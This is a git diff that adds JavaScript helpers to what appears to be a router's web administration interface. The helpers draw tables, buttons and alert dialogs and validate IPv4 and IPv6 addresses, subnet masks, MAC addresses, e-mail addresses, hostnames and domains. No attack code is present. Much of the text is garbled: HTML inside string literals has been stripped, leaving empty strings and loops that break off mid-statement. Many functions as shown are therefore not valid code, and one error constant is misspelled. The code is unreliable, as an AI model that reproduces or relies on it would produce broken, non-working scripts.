    "; + } + else if ( FUNNAME == TABLETD_SINGLE_LINE ) + { + td_code=""; + td_code += args[2]+""; + }else if ( FUNNAME == TABLETD_SINGLE_LINE_R ) + { + td_code=""; + td_code += args[2]+""; + }else if ( FUNNAME == TABLETD_SINGLE_LINE_C ) + { + td_code=""; + td_code += args[2]+""; + }else if ( FUNNAME == TABLETD_SINGLE_LINE_FIRST ) + { + td_code=""; + td_code += args[2]+""; + }else if ( FUNNAME == TABLETD_SINGLE_LINE_FIRST_R ) + { + td_code=""; + td_code += args[2]+""; + }else if ( FUNNAME == TABLETD_SINGLE_LINE_FIRST_C ) + { + td_code=""; + td_code += args[2]+""; + } + else if ( FUNNAME == TABLETD_TAIL ) + { + td_code=""; + td_code+=args[3]+""; + }else if ( FUNNAME == TABLETD_TAIL_R ) + { + td_code=""; + td_code+=args[3]+""; + }else if ( FUNNAME == TABLETD_TAIL_C ) + { + td_code=""; + td_code+=args[3]+""; + }else if ( FUNNAME == MAINFUN ) + { + td_code=""+args[2]+"
    Success status message here
    "; + } + else if ( FUNNAME == ICONLINE ){ + + td_code ="
    "+args[3]+"
    "; + }else if ( FUNNAME == CREATE_EDIT_TABLE ){ + var tmp = args[2].split(","); + var field_count = tmp.length; + var row_span = ""; + if ( typeof args[12] != "undefined" ) + row_span = args[12].split(","); + var col_span = ""; + if ( typeof args[13] != "undefined" ) + col_span = args[13].split(","); + var tmp_width=0; + td_code+=""; + td_code +=""; + for(var i=0; i"; + tmp_width+=parseInt(tmp[i],10); + } + if ( tmp_width < 100 ) + { + td_code+=""; + field_count++; + } + td_code+="
    "+args[3]+""+args[10]+"
    "; + else + td_code+=" class=TABLETITLE>"+args[3]+""; + + if ( args[7] != "" && typeof args[7] != 'undefined') + td_code+=""+args[7]+""; + td_code+=""; + var tmp_title = args[4].split(","); + if (typeof row_span[1] != "undefined" && row_span.length > 0 ) + var titlelen = row_span.length+1; + else + var titlelen = tmp_title.length; + var tmp_align = ""; + if ( args[9] != "" && typeof args[9] != 'undefined') + tmp_align = args[9].split(","); + for(var i=0; i 0 ) + { + td_code+=""; + for(var i=0; i"; + td_code+=""; + if ( ( args[5] != "" && typeof args[5] != 'undefined') || ( args[6] != "" && typeof args[6] != 'undefined')) + td_code+="  "; + td_code+=__T(msg.nodata)+""; + if ( args[5] != "" && typeof args[5] != 'undefined'){ + td_code+=""; + else + td_code+=" class=TABLECONTENT_CMD_TAIL>"; + tmp = args[5].split(","); + for(var i=0; i"; + } + if ( args[6] != "" && typeof args[6] != 'undefined') + { + td_code+=""; + else + td_code+=" class=TABLECONTENT_CMD_TAIL>"; + for(var i=0; i"; + } + td_code+=""; + + }else if ( FUNNAME == PWDLINE ){ + td_code="" + td_code+="" + } + if ( out_type == O_GUI ) document.write(td_code); + else return td_code; +} + +//ARG0=TYPE +//ARG1-NAME +//ARG2=DEFAULT VAL +var IP=1; +var SELBOX=2; +var RADIO=3; +var BT=4; +var TABLE_BT=5; +function draw_object() +{ + var args = new Array; + var _val=new Array; + var selflg=""; + for(var i=0; i<10; i++) + { + args[i] = arguments[i]; + args[i] = typeof(args[i])!='undefined'?args[i]:''; + } + if ( args[0] == "" ) return; + var out_type = parseInt(args[0],10); + var FUNNAME=parseInt(args[1],10); + var tmp=""; + if ( FUNNAME == IP ) + { + if ( args[3] != "" ) + _val = args[3].split("."); + for(var j=0; j<4; j++) + { + if ( j!=0 && j!=j-1) tmp+="."; + if ( typeof _val[j] == "undefined" ) _val[j] = ""; + tmp += ""; + } + }else if ( FUNNAME == SELBOX ){ + tmp = ""; + }else if ( FUNNAME == RADIO){ + for(var j=0; j"+args[4][j]; + } + }else if ( FUNNAME == BT ){ + if ( args[2] == __T(share.save) && args[4]=="" ) + { + if ( args[2].length > 11 ) args[4] = "BT_AUTO"; + else args[4] = "BT"; + tmp = ""; + } + else if ( args[2] == __T(share.cancel) && args[4]=="" ) + { + if ( args[2].length > 11 ) args[4] = "BT_AUTO"; + else args[4] = "BT"; + tmp = ""; + }else{ + if ( args[2].length > 23 ) args[4] = "BT_AUTO"; + if ( args[4] == "BT" && args[2].length > 11 ) args[4] = "BT_AUTO"; + tmp = ""; + + } + }else if ( FUNNAME == TABLE_BT ){ + tmp = "
    "; + tmp += ""; + tmp += ""+args[5]+"
    "; + } + if ( out_type == O_GUI ) document.write(tmp); + else return tmp; + +} + +function my_alert(){ + var args = new Array; + for(var i=0; i<10; i++) + { + args[i] = arguments[i]; + args[i] = typeof(args[i])!='undefined'?args[i]:''; + } + var output = args[0]; + if ( output == O_MSG ) + { + alert(args[1]); + return; + }else if( output == O_GUI ){ + parent.document.getElementById("GUI_LOCK").value = 1; + parent.document.getElementById("alert_type").value = ""; + parent.document.getElementById("alert_title").innerHTML = ""; + parent.document.getElementById("alert_content").innerHTML = ""; + parent.document.getElementById("alert_type").value = args[1]; + parent.document.getElementById("alert_title").innerHTML = args[2]; + parent.document.getElementById("alert_content").innerHTML = args[3]; + parent.document.getElementById("div_alert").style.display=""; + if ( args[1] == WARNING ) + { + var okbt = __T(share.sok); + var cabt = __T(share.cancel); + var okstyle = "BT"; + var castyle = "BT"; + if ( args[7] != "" && args[7] == "yesno" ) + { + okbt = __T(filter.yes); + cabt = __T(filter.no); + okstyle = "BT_S"; + castyle = "BT_S"; + } + //added by yu in 2013.04.25 + if ( args[7] != "" && args[7] == "bsd" ) + { + okbt = __T("Upgrade Now"); + okstyle = "BT_L"; + castyle = "BT"; + } + + parent.document.getElementById("alert_logo").src=WARN_ICON_PATH; + if ( args[6] != "" && args[6] == "wizard" ) + { + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,okbt,"a1",okstyle,"parent.document.getElementById(\"wizard\").contentWindow."+args[4]) + draw_object(O_VAR,BT,cabt,"a2",castyle,"parent.document.getElementById(\"wizard\").contentWindow."+args[5]); + } + else{ + if(args[7] != "" && args[7] == "bsd" ){ + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,okbt,"a1",okstyle,""+args[4]) + draw_object(O_VAR,BT,cabt,"a2",castyle,""+args[5]); + parent.document.getElementById("close_icon").innerHTML=""; + } + else + { + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,okbt,"a1",okstyle,"parent.content_area."+args[4]) + draw_object(O_VAR,BT,cabt,"a2",castyle,"parent.content_area."+args[5]); + parent.document.getElementById("close_icon").innerHTML=""; + } + } + } + else if ( args[1] == ERROR ) + { + parent.document.getElementById("alert_logo").src=ERROR_ICON_PATH; + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,__T(share.sok),"a1","BT_S","alert_result(0)"); + } + else + { + parent.document.getElementById("alert_logo").src=INFO_ICON_PATH; + if ( args[4] != "" ) + { + if ( args[5] != "" && args[5] == "wizard" ) + { + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,__T(share.sok),"a1","BT_S","parent.document.getElementById(\"wizard\").contentWindow."+args[4]); + } + else if ( args[5] != "" && args[5] == "bsd" ) + { + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,__T(share.sok),"a1","BT_S",args[4]); + parent.document.getElementById("close_icon").innerHTML=""; + } + else{ + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,__T(share.sok),"a1","BT_S","parent.content_area."+args[4]); + parent.document.getElementById("close_icon").innerHTML=""; + } + }else + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,__T(share.sok),"a1","BT_S","alert_result(0)"); + parent.document.getElementById("close_icon").innerHTML=""; + } + }else if ( output == O_VAR ){ + var obj = parent.document.getElementById("rightframe").contentWindow; + obj.document.getElementById(args[4]).className = "ERRMSG"; + if ( args[2] != "") + { + if ( args[5] != "" && args[5] != 0 ) + obj.document.getElementById(args[4]).innerHTML = ""+args[2]; + else + obj.document.getElementById(args[4]).innerHTML = ""+args[2]; + } + if ( args[3] != "" && args[3] != 0 ) + { + for(var k=0; k 63)) + return __T(msg.validname); + + if(!preg_match('^[A-Za-z0-9\\-]+$',val)) + return __T(msg.hostnameformat1); + + if (val.charAt(0) == "-" || val.charAt(val.length-1) == "-" ) + return __T(msg.hostnameformat1); + return ""; +} + +function my_valid_email(val,obj_id,span_id) +{ + clear_msg(obj_id,span_id); + if(!valid_email(val)) + { + parent.document.getElementById("obj_id").value = span_id; + my_alert(O_VAR,obj_id,__T(syslog.emailfail),"0",span_id); + return false; + } + return true; +} + +function valid_email(e) +{ + var isValid = PASS; //1:success, 0:fail + var eindex=e.lastIndexOf("@"); + + if(eindex <= 0) + isValid = FAIL; + else + { + var domain_value = e.substr(eindex+1,e.length); + var local_value = e.substr(0,eindex); + var domain_len = domain_value.length; + var local_len = local_value.length; + var local_replace = str_replace("\\\\","\\",local_value); + + if((local_len < 1) || (local_len > 64)) + isValid = FAIL; + else if((domain_len < 1) || (domain_len > 255)) + isValid = FAIL; + else if((local_value.charAt(0) == '.') || (local_value.charAt(local_len-1) == '.')) + isValid = FAIL; + else if(preg_match('\\.\\.',local_value)) + isValid = FAIL; + else if(!preg_match('^[A-Za-z0-9\\-\\.]+$',domain_value)) + isValid = FAIL; + else if(preg_match('\\.\\.',domain_value)) + isValid = FAIL; + else if(!preg_match('^(\\\\.|[A-Za-z0-9!#%&`_=\\/$\'*+?^{}|~.-])+$',local_replace)) + { + if(!preg_match('^"(\\\\"|[^"])+"$',local_replace)) + isValid = FAIL; + } + } + return isValid; +} + +function valid_email_server(val) +{ + var val_len = val.length; + if((val_len < 1) || (val_len > 255)) + return false; + else if(!preg_match('^[A-Za-z0-9\\-\\.]+$',val)) + return false; + else if(preg_match('\\.\\.',val)) + return false; + return true; +} + +function preg_match(regStr,str) +{ + var re = new RegExp(regStr); + return re.test(str); +} + +var DIGIT=0; +var XDIGIT=1; +var ASCII=2; +var ISCHAR=3; +var IDNAME=4; + +function chk_chartype(val,type) +{ + var i,ch; + for(i=0 ; i '9') + return FAIL; + break; + case XDIGIT: + if(ch >= '0' && ch <= '9' || ch >= 'a' && ch <= 'f') + break; + return FAIL; + case ASCII: + if(ch < ' ' || ch > '~') + return FAIL; + break; + case ISCHAR: + if( ch.search(/^[A-Za-z0-9-]/i) == -1 ) + return FAIL; + break; + case IDNAME: + if( ch.search(/^[A-Za-z0-9-_()-]/i) == -1 ) + return FAIL; + break; + } + } + return PASS; +} + +function mac12to17(val) +{ + var tmp=""; + if ( val.indexOf(":") != -1 || val.length != 12 ) return val; + for(var i=0; i<12; i+=2) + { + if ( tmp != "" ) tmp+=":"; + tmp+=val.substring(0,2); + val = val.substring(2,val.length); + } + return tmp; +} + +function valid_macs_all(I) +{ + //I = ignoreSpaces(I); + I = str_replace(" ","",I); + var tmp; + if(I != "") + { + if(I == "00:00:00:00:00:00" || I == "000000000000") + { + return __T(msg.mac1); + } + else if(I.length == 12) + { + tmp = mac12to17(I); + return valid_macs_17(tmp); + } + else if(I.length == 17) + { + return valid_macs_17(I); + } + else + { + return __T(msg.mac2); + } + return ""; + }else{ + return __T(msg.mac3); + } + return ""; +} + +function valid_macs_17(I) +{ + if ( I == "00:00:00:00:00:00" ) return __T(msg.mac1); + var mac = I; + var m = mac.split(":"); + if (m.length != 6) + { + return __T(msg.mac3); + } + for(var i in m) + { + if((!chk_chartype(m[i],XDIGIT)) || ((m[i].length != 1) && (m[i].length != 2))) + { + return __T(msg.mac4); + } + } + + mac = mac.toUpperCase(); + if((parseInt(mac.charAt(1), 16) & 1) == 1) + { + return __T(msg.mac5); + } + + I = mac; + return ""; +} + +//Modify by emily for meaning name used. 2011/1/25 +//1.Cannot be blank, for example: +// valid_meaning_name("",ZERO_NO) return BLANK_ERR; +//2.Leading and tailing cannot be blank on meaning name field, for example: +// valid_meaning_name(" test ",ZERO_NO) return LEAD_TAIL_SPACE_ERR; +// Leading and tailing will auto removed on id name field. +//3.Support ASCII 33 to 126, for example: +// valid_meaning_name("test 123",ZERO_NO|SPACE_NO) return MIDDLE_SPACE_ERR; +// ID_NAME means only for identification. +var MEANING_NAME=0; +var ID_NAME=1; +function valid_meaning_id_name(type,I,flag,obj_id) +{ + if( type == ID_NAME ) + { + I = I.replace(/^\s*/,""); + I = I.replace(/\s*$/,""); + if( !chk_chartype(I,IDNAME) ) + return __T(msg.nameformat1); + if ( obj_id != null ) + document.getElementById(obj_id).value = I; + } + if ( flag & ZERO_NO ) + { + if ( I == "" ) return __T(msg.notblank); + } + if( chk_chartype(I,ASCII) == true ) + { + if(type == MEANING_NAME ) + { + if(I.search(/^\s/) != -1 || I.search(/\s$/) !=-1 ) + { + if ( flag & SPACE_OK ) return ""; + return __T(msg.notleadtailblank); + } + } + if(flag & SPACE_NO){ + if(I.search(/\s/) != -1 ) + return __T(msg.middlespace); + } + return ""; + } + return __T(msg.validname); +} +var FORMAT_ERROR=-1; +var CHARTYPE_ERROR=-2; +var ZERONO_ERROR=-3; +var BCSTNO_ERROR=-4; +var SUBNET_ERROR=-5; + +function valid_mask(F,N,flag,span_id){ + var obj_cnt=0; + if ( eval("F."+N+"_0") ) + obj_cnt=4; // focus all + var errmsg = valid_mask_msg(F,N,flag); + if ( errmsg != "" ) + { + my_alert(O_VAR,N,errmsg,obj_cnt,span_id); + return false; + } + return true; +} + +function valid_mask_msg(F,N,flag) +{ + var errmsg = check_mask(F,N,flag); + if ( errmsg == FORMAT_ERROR ) + return __T(msg.maskillegal); + else if ( errmsg == CHARTYPE_ERROR ) + return __T(msg.maskillegal); + else if ( errmsg == ZERONO_ERROR ) + return __T(msg.maskillegal); + else if ( errmsg == BCSTNO_ERROR ) + return __T(msg.maskillegal); + else if ( errmsg == SUBNET_ERROR ) + return __T(msg.maskillegal); + return ""; + +} + +function check_mask(F,N,flag){ + var match0 = -1; + var match1 = -1; + var m, obj_cnt=0; + if ( eval("F."+N+"_0") ){ + obj_cnt=4; // focus all + m = new Array(4); + for(i=0;i<4;i++) + { + if ( document.getElementById(N+"_"+i).value.length>1 && + document.getElementById(N+"_"+i).value.substring(0,1)=="0" ) + { + document.getElementById(N+"_"+i).value = parseInt(eval("F."+N+"_"+i).value,10); + } + m[i] = document.getElementById(N+"_"+i).value; + } + }else{ + m = eval("F."+N).value.split("."); + } + if ( m.length != 4 ) + { + return FORMAT_ERROR; + } + for(var i=0; i<4; i++) + { + if ( chk_chartype(m[i],DIGIT) == FAIL ) + { + return CHARTYPE_ERROR; + } + } + if(m[0] == "0" && m[1] == "0" && m[2] == "0" && m[3] == "0"){ + if(flag & ZERO_NO){ + return ZERONO_ERROR; + } + } + + if(m[0] == "255" && m[1] == "255" && m[2] == "255" && m[3] == "255"){ + if(flag & BCST_NO){ + return BCSTNO_ERROR; + } + } + + for(i=3;i>=0;i--){ + for(j=1;j<=8;j++){ + if((m[i] % 2) == 0) match0 = (3-i)*8 + j; + else if(((m[i] % 2) == 1) && match1 == -1) match1 = (3-i)*8 + j; + m[i] = Math.floor(m[i] / 2); + } + } + if(match0 > match1){ + return SUBNET_ERROR; + } + var tmpip=""; + var tmpm=""; + if ( eval("F."+N) ){ + tmpm = eval("F."+N).value.split("."); + for(var i=0; i<4; i++) + { + if ( tmpip != "" ) tmpip+="."; + tmpip += parseInt(tmpm[i],10); + } + eval("F."+N).value = tmpip; + } + return true; +} + +function chk_range(obj_id,val,start,end,th) +{ + if ( th != "nochg" && val != "" && val.length>1 && val.substring(0,1)=="0") + { + document.getElementById(obj_id).value=parseInt(val,10); + } + if ( typeof th == 'undefined' || th == "nochg" ) th=10; + if ( th == 10 ) + if ( !chk_chartype(val,DIGIT) ) return FAIL; + else if ( th == 16 ) + if ( !chk_chartype(val,XDIGIT) ) return FAIL; + var d = parseInt(val,th); + if ( !(d<=parseInt(end,th) && d>=parseInt(start,th)) ) return FAIL; + return PASS; + +} + +//TYPE 1: FIELD ERROR +// my_alert(O_VAR,[object ID],[Error Message],[Error count],[SPAN ID],[ARROW DIRECTION]); +// +//TYPE 2: TABLE ERROR +// table_msg([TABLE ID],[IMAGE ID],[Div ID],[object index],[Error Message]); +var IS_FIELD=0; +var IS_TABLE=1; +function msg_chk_range(obj_val,obj_id,start,to,th,errtype){//args[0]~args[5] + var args = new Array; + for(var i=0; i<10; i++) + { + args[i] = arguments[i]; + args[i] = typeof(args[i])!='undefined'?args[i]:''; + } + if ( errtype == IS_FIELD ) + clear_msg(obj_id,args[7]); + else + clear_table_msg("",args[7],obj_id,args[9]); + //alert("obj_id="+obj_id+";obj_val="+obj_val+";start="+start+";to="+to); + if ( chk_range(obj_id,obj_val,start,to,th) == FAIL ) + { + if ( errtype == IS_FIELD ) + { + parent.document.getElementById("obj_id").value = args[7]; + my_alert(O_VAR,obj_id,spell_words(range_rule,start,to),args[6],args[7],args[8]); + }else{ + document.getElementById(args[6]).innerHTML = __T(share.tableerrmsg); + document.getElementById(args[6]).style.display=""; + table_msg(args[7],obj_id,args[8],args[9],spell_words(range_rule,start,to)); + document.getElementById("tmsg").style.display="none"; + } + return false; + } + return true; +} + +function my_valid_m_value(){ + var args = new Array; + for(var i=0; i<10; i++) + { + args[i] = arguments[i]; + args[i] = typeof(args[i])!='undefined'?args[i]:''; + } + + for(var i=0; i<4; i++) + document.getElementById(args[2]+"_"+i).style.backgroundColor=""; + if ( args[0] == "IP" ) + { + if ( check_ipv4(get_full_ip(args[1],args[2]),args[4],args[5]) <= 0 ) + { + my_alert(O_VAR,args[2],__T(msg.validname),4,args[6]); + return false; + } + } + else if ( args[0] == "MASK" ) + { + document.getElementById(args[4]).innerHTML = ""; + if ( !valid_mask(args[1],args[2],args[3],args[4]) ) + return false; + } + return true; +} + +var IPV4_FORMAT_ERR=-1; +var IPV4_ZERO_ERR=-2; +var IPV4_RANGE_ERR=-3; +var IPV4_MULTCAST_ERR=-4; +var IPV4_SUBNET_ERR=-5; +var IPV4_LANSUBNET_ERR=-6; +var IPV4_NOLANSUBNET_ERR=-7; + +function check_ipv4(ipaddr,rule,flag){ + //alert("check_ipv4(): ipaddr="+ipaddr+";rule="+rule); + var m = ipaddr.split("."); + if ( m.length != 4 ) + return IPV4_FORMAT_ERR; + + if(m[0] == "0" && m[1] == "0" && m[2] == "0" && m[3] == "0"){ + if(flag & ZERO_OK) return PASS; + return IPV4_ZERO_ERR; + } + + // check range + var tmp = rule.split("."); + var range; + var returnval; + for(var j=0; j<4; j++) + { + returnval = chk_chartype(m[j],DIGIT); + range = tmp[j].split("-"); + + if ( returnval == PASS ) + { + returnval = chk_range("",m[j],range[0],range[1],"nochg"); + } + if ( returnval != PASS ) + return IPV4_RANGE_ERR; + } + + + if(m[0] == 127 || m[0] == 224){ + return IPV4_MULTICAST_ERR; + } + + if((m[0] != "0" || m[1] != "0" || m[2] != "0") && m[3] == "0"){ + if(flag & MASK_NO){ + return IPV4_SUBNET_ERR; + } + } + if ( flag & LANSUBNET_OK ) + { + if ( !lan_subnet_ip(ipaddr) ) return IPV4_LANSUBNET_ERR; + } + if ( flag & LANSUBNET_NO ) + { + if ( lan_subnet_ip(ipaddr) ) return IPV4_NOLANSUBNET_ERR; + } + return PASS; +} + +function valid_ip_in_subnet(ip_val,mask_val) +{ + var ip = ip_val.split("."); + var mask = mask_val.split("."); + var subnet_ip="",broadcast_ip=""; + + if ( ip.length != 4 || mask.length != 4 ) return false; + for(var i=0; i<4; i++) + { + if ( subnet_ip != "" ) subnet_ip +="."; + subnet_ip += parseInt(ip[i],10)&parseInt(mask[i],10); + if ( broadcast_ip != "" ) broadcast_ip += "."; + if ( parseInt(mask[i],10) == 255 ) + broadcast_ip += ip[i]; + else if ( parseInt(mask[i],10) > 0 ) + broadcast_ip += (255-parseInt(mask[i],10)); + else + broadcast_ip += "255"; + } + //alert("subnet_ip="+subnet_ip+";broadcast_ip="+broadcast_ip); + if ( ip_val == subnet_ip || ip_val==broadcast_ip ) return false; + return true; +} + +function valid_ip_gw(F,I,N,G) +{ + var IP = new Array(4); + var NM = new Array(4); + var GW = new Array(4); + + for(i=0;i<4;i++) + IP[i] = eval(I+"_"+i).value; + for(i=0;i<4;i++) + NM[i] = eval(N+"_"+i).value; + for(i=0;i<4;i++) + GW[i] = eval(G+"_"+i).value; + + for(i=0;i<4;i++){ + if((IP[i] & NM[i]) != (GW[i] & NM[i])){ + //alert("IP address and gateway address are not using the same subnet mask."); + //alert(errmsg.err32); + return false; + } + } + if((IP[0] == GW[0]) && (IP[1] == GW[1]) && (IP[2] == GW[2]) && (IP[3] == GW[3])){ + //alert("IP address and gateway address cannot be the same."); + //alert(errmsg.err33); + return false; + } + + return true; +} + +function swap_num(num1,num2) +{ + var num_array = new Array(); + num_array[0] = num2; + num_array[1] = num1; + return num_array; +} + +function check_port(i_startport,i_endport,o_startport,o_endport) +{ + var num_array = new Array(); + if(i_startport > i_endport) + { + num_array = swap_num(i_startport,i_endport); + i_startport = num_array[0]; + i_endport = num_array[1]; + } + + if(o_startport > o_endport) + { + num_array = swap_num(o_startport,o_endport); + o_startport = num_array[0]; + o_endport = num_array[1]; + } + + if((i_startport <= o_startport) && (i_endport >= o_endport)) + return false; + else if((i_startport >= o_startport) && (i_startport <= o_endport) && (i_endport >= o_endport)) + return false; + else if((i_endport >= o_startport) && (i_endport <= o_endport)) + return false; + else if((i_startport >= o_startport) && (i_endport <= o_endport)) + return false; + else if((i_startport == o_endport) || (i_endport == o_startport) || (i_endport == o_endport)) + return false; + + return true; +} + +function valid_subnet(I,N,G) +{ + var IP = new Array(4); + var NM = new Array(4); + var GW = new Array(4); + + IP = I.split("."); + NM = N.split("."); + GW = G.split("."); + for(i=0;i<4;i++){ + if((IP[i] & NM[i]) != (GW[i] & NM[i])){ + return false; + } + } + return true; +} + +function chk_change(def,chg) +{ + var failflg = false; + if ( def.length != chg.length ) failflg = true; + if ( def != chg ) failflg = true; + if ( failflg == true ) + parent.document.getElementById("GUI_LOCK").value = 1; + else + parent.document.getElementById("GUI_LOCK").value = 0; +} + +function CheckBrowser(){ + var cb = "UnKnow"; + if ( window.ActiveXObject ) + cb = "IE" ; + else if ( navigator.userAgent.toLowerCase().indexOf("firefox") != -1 ) + cb = "Firefox"; + else if ( navigator.userAgent.toLowerCase().indexOf("opera") != -1 ) + cb = "Opera"; + else if ( navigator.userAgent.toLowerCase().indexOf("safari") != -1 ) + cb = "Safari"; + else if ( (typeof document.implementation != "undefined") && (typeof document.implementation.createDocument != "undefined") && (typeof HTMLDocument != "undefined" )) + cb = "Mozila"; + return cb; +} + +function check_ip_domain(value) +{ + var count = 0; + var flag = false; + for(i=0; i 3) + flag = true; + else if(ch.search(/^[0-9.]/i) == -1) + flag = true; + } + if(flag == true) + return check_domain(value); + else if(flag == false) + { + if( check_ipv4(value,VALID_IP_RULE7) == PASS ) + return true; + else + return false; + } + +} + +function check_domain(domain_main) +{ + var sub_name; + var temp_firstchar; + var temp_endchar; + if ( (domain_main.length==0) || (domain_main==null) || (domain_main.length > 256)) + return false; + else + { + temp_firstchar = domain_main.charAt(0); + temp_endchar = domain_main.charAt(domain_main.length-1); + if((temp_firstchar.search(/^[A-Za-z0-9]/i) == -1) || + (temp_endchar.search(/^[A-Za-z0-9]/i) == -1)) + return false; + } + + sub_name = domain_main.split(/\./); + if(sub_name.length < 2) // Support google.com + return false; + + for(var i = 0; i < sub_name.length; i++) + { + if((sub_name[i].length > 0) && (sub_name[i].length > 63)) + { + return false; + } + else if( !chk_chartype(sub_name[i],ISCHAR)) + { + return false; + } + } + if ( sub_name.length == 4) + { + if((!isNaN(sub_name[0]))&&(!isNaN(sub_name[1]))&&(!isNaN(sub_name[2]))&&(!isNaN(sub_name[3]))) + return false; + } + else if ( sub_name.length == 3) + { + if((!isNaN(sub_name[0]))&&(!isNaN(sub_name[1]))&&(!isNaN(sub_name[2]))) + return false; + } + else if ( sub_name.length == 2) + { + if((!isNaN(sub_name[0]))&&(!isNaN(sub_name[1]))) + return false; + } + + return true; + +} + +function check_url(domain_main) +{ + var sub_name; + var temp_firstchar; + var temp_endchar; + if ( (domain_main.length==0) || (domain_main==null) || (domain_main.length > 256)) + return false; + else + { + temp_firstchar = domain_main.charAt(0); + temp_endchar = domain_main.charAt(domain_main.length-1); + if((temp_firstchar.search(/^[A-Za-z0-9]/i) == -1) || + (temp_endchar.search(/^[A-Za-z0-9\/]/i) == -1)) + return false; + } + + sub_name = domain_main.split(/\./); + if(sub_name.length < 2) // Support google.com + return false; + + for(var i = 0; i < sub_name.length; i++) + { + if((sub_name[i].length > 0) && (sub_name[i].length < 2) || (sub_name[i].length > 63)) + return false; + //else if(check_char(sub_name[i])) Support http:// + // return false; + } + if ( sub_name.length == 4) + { + if((!isNaN(sub_name[0]))&&(!isNaN(sub_name[1]))&&(!isNaN(sub_name[2]))&&(!isNaN(sub_name[3]))) + return false; + } + else if ( sub_name.length == 3) + { + if((!isNaN(sub_name[0]))&&(!isNaN(sub_name[1]))&&(!isNaN(sub_name[2]))) + return false; + } + else if ( sub_name.length == 2) + { + if((!isNaN(sub_name[0]))&&(!isNaN(sub_name[1]))) + return false; + } + + return true; + +} + +//Add check ipv6 address format +function substr_count (haystack, needle, offset, length) +{ + var pos = 0, cnt = 0; + haystack += ''; + needle += ''; + + if (isNaN(offset)) + offset = 0; + + if (isNaN(length)) + length = 0; + + offset--; + + while ((offset = haystack.indexOf(needle, offset+1)) != -1) + { + if (length > 0 && (offset+needle.length) > length) + return false; + else + cnt++; + } + + return cnt; +} + +var lan_arr = new Array(); +function LAN(vlan_id,ipaddr,netmask,proto,dhcprelay_ip,start_ip,user_num,lease_time,dns1,dns2,dns3,wins) +{ + this.vlan_id = vlan_id; + this.ipaddr = ipaddr; + this.netmask = netmask; + this.proto = proto; + this.dhcprelay_ip = dhcprelay_ip; + this.start_ip = start_ip; + this.user_num = user_num; + this.lease_time = lease_time; + this.dns1=dns1; + this.dns2=dns2; + this.dns3=dns3; + this.wins=wins; +} +lan_arr[0]=new LAN('1','192.168.1.1','255.255.255.0','dhcp','0.0.0.0','100','50','1440','0.0.0.0','0.0.0.0','0.0.0.0','0.0.0.0','0'); + + +function lan_subnet_ip(ipaddr) +{ + for(var j=0; j=prefix_len; i--) + { + if ( binary_str.charAt(i) != '0' ) + return false; + } + return true; + +} + +function check_ipv6_subnet(ipaddr,prefix_len,cmp_ipaddr) +{ + var new_ipaddr = new Array(); + var new_cmp_ipaddr = new Array(); + var len=0,cmp_len=0; + var binary_str="",cmp_binary_str=""; + new_ipaddr = trans_ipv6_array(ipaddr); + new_cmp_ipaddr = trans_ipv6_array(cmp_ipaddr); + for(var i=0; i<8; i++) + { + binary_str += trans_16to2(new_ipaddr[i]); + cmp_binary_str += trans_16to2(new_cmp_ipaddr[i]); + } + //alert(binary_str+"\n"+cmp_binary_str); + for(var i=0; i 7 ) + return __T(msg.ivalidipformat); + if (ipaddr.indexOf(":::") != -1){ + return __T(msg.ivalidipformat); + } + if (ipaddr.indexOf("::") != -1){ + case_ip = 1; + ipchar1 = ipaddr.split('::'); + + }else{ + case_ip = 2; + ipchar = ipaddr.split(':'); + } + if ( ipaddr.split(":").length > 8 ) + return __T(msg.ivalidipformat); + + } + switch(case_ip){ + case 1: + /* other case */ + if (ipchar1.length > 2){ + return __T(msg.ivalidipformat); + } + for (var i=0;i<2;i++){ + if (ipchar1[i].indexOf(":") != -1){ + ipchar2 = ipchar1[i].split(':'); + for (var j=0; j 4) error = 3; + if (!isValidIPv6addr_Code(ipchar2[j])) + error = 1; + } + }else{ + if (ipchar1[i].length > 4) error = 3; + if (!isValidIPv6addr_Code(ipchar1[i])) error = 1; + } + } + break; + case 2: + /* normal case */ + if (ipchar.length != 8) error = 3; + for (var i=0;i 4) error = 3; + if (ipchar[i] != ''){ + if (!isValidIPv6addr_Code(ipchar[i])) + error=1; + } + } + break; + } + if ( error != 0 ) + return __T(msg.ivalidipformat); + else + return ""; +} + +function isValidIPv6addr_Code(word){ + for (var i=0 ; i maxValue) { + return false; + } + return true; +} + +function test_ipv6(ip) +{ + // Test for empty address + if (ip.length<3) + return ip == "::"; + + // Check if part is in IPv4 format + if (ip.indexOf('.')>0) + { + lastcolon = ip.lastIndexOf(':'); + if (!(lastcolon && check_ipv4(ip.substr(lastcolon + 1),VALID_IP_RULE7)<=0)) + return false; + // replace IPv4 part with dummy + ip = ip.substr(0, lastcolon) + ':0:0'; + } + + // Check uncompressed + if (ip.indexOf('::')<0) + { + var match = ip.match(/^(?:[a-f0-9]{1,4}:){7}[a-f0-9]{1,4}$/i); + return match != null; + } + // Check colon-count for compressed format + if (substr_count(ip, ':') < 8) + { + var match = ip.match(/^(?::|(?:[a-f0-9]{1,4}:)+):(?:(?:[a-f0-9]{1,4}:)*[a-f0-9]{1,4})?$/i); + return match != null; + } + + // Not a valid IPv6 address + return false; +} + +function chk_fqdn(fqdn_val,obj_id) +{ + var ret_val = true; + if ( fqdn_val.indexOf(".") == -1 ) + { + var ret_msg = valid_hostname(fqdn_val); + if ( ret_msg != "" ) + { + my_alert(O_VAR,obj_id,__T(msg.validname),"0","msg_"+obj_id); + ret_val = false; + } + } + else + { + if ( fqdn_val.indexOf("@") != -1 ) + fqdn_val = fqdn_val.replace("@","."); + if(check_domain(fqdn_val) == false) + { + my_alert(O_VAR,obj_id,__T(msg.validname),"0","msg_"+obj_id); + ret_val = false; + } + } + return ret_val; +} +// VALID CHECK FUNCTION END ====================================================================================== diff --git a/Sites/Template/cisco/js/func.js b/Sites/Template/cisco/js/func.js new file mode 100644 index 0000000..5f7dc86 --- /dev/null +++ b/Sites/Template/cisco/js/func.js @@ -0,0 +1,2000 @@ +// Help and Message ========================================================== + + +var HelpOptionsVar = "width=480,height=420,scrollbars,toolbar,resizable,dependent=yes"; +var GlossOptionsVar = 